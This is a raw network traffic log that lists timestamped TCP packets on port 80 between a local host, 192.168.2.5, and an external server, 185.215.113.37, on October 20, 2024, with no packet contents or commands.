Oct 20, 2024 08:40:16.781367064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781378984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781380892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781395912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781421900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781421900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781421900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781429052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781435013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781452894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781466961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781472921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781481028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781496048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781501055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781511068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781524897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781526089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781541109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781548023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781563997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781572104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781579018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781591892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781599045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781606913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781616926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781621933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781634092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781636953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781651974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781662941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781668901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781682014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781685114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781699896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781703949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781716108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781725883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781730890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781739950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781745911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781757116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781760931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781775951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781780005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781786919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781790972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781805038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781806946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781820059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781825066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781837940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781838894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781861067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781863928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781876087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781888008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781898975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781905890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781915903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781919003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781933069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781940937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781955004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781960011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781970978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781972885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781986952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782004118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782011986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782021046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782027006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782031059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782042027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782053947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782057047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782072067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782073021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782088995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782089949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782103062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782104015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782120943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782128096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782135963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782144070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782155037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782157898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782172918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782174110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782186985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782187939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782202959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782205105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782217026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782217979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782233000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782238007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782248020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782255888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782263041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782263041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782278061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782279968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782294035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782298088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782309055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782315016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782325029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.782337904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.782366037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.971971989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.971991062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972016096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972044945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972059965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972074032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972078085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972090006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972110987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972129107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972156048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972214937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972230911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972244978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972260952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972280025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972291946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972295046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972317934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972321987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972335100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972347021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972358942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972373962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972529888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972543955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972558975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972584009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972609997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972614050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972635984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972651958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972675085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972681046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972691059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972703934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972706079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972718000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972733021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972734928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972748041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972754955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972768068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972769976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972776890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972793102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972794056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972806931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972811937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972830057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972832918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972846031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972850084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972858906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972866058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972873926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972886086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972891092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972894907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972906113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972914934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972923994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972925901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972939014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972953081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972953081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972969055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972970963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972984076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.972987890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.972999096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973012924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973025084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973026991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973031044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973041058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973062992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973068953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973079920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973088980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973094940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973117113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973119974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973135948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973135948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973150015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973166943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973176956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973191977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973203897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973212957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973236084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973251104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973253012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973268986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973273039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973288059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973299026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973301888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973311901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973316908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973328114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973341942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973351002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973365068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973380089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973382950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973393917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973406076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973407984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973423004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973423958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973433018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973436117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973454952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973460913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973473072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973475933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973489046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973496914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973517895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973522902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973541021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973553896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973561049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973570108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973584890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973592997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973598957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973607063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973618031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973622084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973635912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973642111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973655939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973664999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973669052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973678112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973687887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973692894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973705053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973707914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973721027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973721981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973733902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973735094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973750114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973752022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973769903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973773003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973783970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973788023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973800898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973803043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973817110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973819971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973834991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973838091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973845005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973850965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973860025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973865986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973875046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973881960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973895073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973896980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973913908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973922968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973925114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973943949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973951101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973964930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.973967075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973990917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.973997116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974005938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974020958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974030018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974036932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974050999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974056005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974067926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974080086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974091053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974106073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974107027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974119902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974132061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974148989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974158049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974165916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974180937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974185944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974200964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974208117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974210978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974210978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974227905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974244118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974251032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974272966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974288940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974311113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974317074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974327087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974328995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974343061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974353075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974359035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974370956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974371910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974390030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974395037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974401951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974410057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974420071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974425077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974431992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974441051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.974450111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.974457979 CEST	80	49704	185.215.113.37	192.168.2.5
